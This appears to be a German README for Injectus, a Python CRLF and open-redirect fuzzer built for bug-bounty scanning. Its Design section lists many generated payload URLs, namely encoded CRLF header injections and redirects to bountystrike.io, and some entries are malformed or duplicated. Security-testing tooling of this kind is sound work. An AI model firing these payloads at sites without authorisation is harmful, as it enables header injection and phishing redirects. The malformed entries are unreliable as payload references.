Injectus

Einfaches Python-Tool, das eine Liste von URLs durchgeht und CRLF- und Open-Redirect-Payloads testet.


    ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ ·
    ██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  █▪██▌▐█ ▀.
    ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄
    ▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█
    ▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀  ▀▀▀  ▀▀▀▀
               ~ BOUNTYSTRIKE ~

usage: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
                [-d DELAY] [-c] [-op]

CRLF- und Open-Redirect-Fuzzer. Erstellt von @dubs3c.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  Datei mit URLs
  -u URL, --url URL     Einzelne URL zum Testen
  -r, --no-request      Erstelle nur die Angriffsliste, führe keine Anfragen aus
  -w WORKERS, --workers WORKERS
                        Anzahl der asyncio-Worker, Standard ist 10
  -t TIMEOUT, --timeout TIMEOUT
                        Timeout für HTTP-Anfragen, Standard ist 6 Sekunden
  -d DELAY, --delay DELAY
                        Verzögerung zwischen Anfragen, Standard ist 1 Sekunde
  -c, --crlf            Führe nur CRLF-Angriffe durch
  -op, --openredirect   Führe nur Open-Redirect-Angriffe durch

Motivation

Ich brauchte einen einfachen CRLF-/Open-Redirect-Scanner, den ich in meine Bug-Bounty-Pipeline bei https://github.com/BountyStrike/Bountystrike-sh einbinden konnte. Ich habe keine Tools gefunden, die meine Anforderungen erfüllten, also habe ich Injectus erstellt. Es ist ein kleines Experiment, um zu sehen, ob es besser funktioniert als andere Tools.

Design

Wenn wir die folgende URL haben:

https://dubell.io/?param1=value1&url=value2&param3=value3

Bei CRLF-Angriffen injiziert Injectus jedes Payload einmal in den Wert eines Parameters, und zwar für jeden der n Parameter. Zum Beispiel erstellt Injectus mit der obigen URL die folgende Liste:

https://dubell.io/?param1=%%0a0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2&param3=value3

https://dubell.io/?param1=value1&url=%%0a0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike&param3=value3

https://dubell.io/?param1=value1&url=value2&param3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%u000abounty:strike

Wie Sie sehen, wird jedes CRLF-Payload in den Wert des ersten Parameters injiziert. Sobald die Schleife abgeschlossen ist, injiziert Injectus jedes Payload in den zweiten Parameter und so weiter. Sobald alle Parameter injiziert wurden, ist die Liste vollständig.

Wenn keine Query-Parameter vorhanden sind, hängt Injectus einfach jedes Payload an die URL an, wie folgt:

https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike

Beim Injizieren von Open-Redirect-Payloads injiziert Injectus nur dann ein Payload, wenn ein Query-/Pfadparameter ein typisches Redirect-Keyword enthält, z. B. url. Injizieren in die folgende URL https://dubell.io/?param1=value1&url=dashboard&param3=value3:

https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3

Die URL enthält den Query-Parameter url, also injiziert Injectus die Payloads in diesen Parameter.

Ein Beispiel bei Verwendung von Pfadparametern. Original-URL ist https://dubell.io/some/path/that/redirect/dashboard:

https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io

Wie zuvor, wenn keine Query- oder Pfadparameter gefunden werden, hängt Injectus einfach jedes Payload an die URL an:

https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io

Installation

pip3.7 install -r requirements.txt --user

Mitwirken

Jegliches Feedback oder Ideen sind willkommen! Möchtest du etwas verbessern? Erstelle einen Pull-Request!

Forke das Repository!
Erstelle deinen Feature-Branch: git checkout -b my-new-feature
Konfiguriere Pre-Commit-Checks: pre-commit install
Committe deine Änderungen: git commit -am 'Add some feature'
Pushe in den Branch: git push origin my-new-feature
Reiche einen Pull-Request ein :D

Injectus

Beliebteste

Injectus

Motivation

Design

Installation

Mitwirken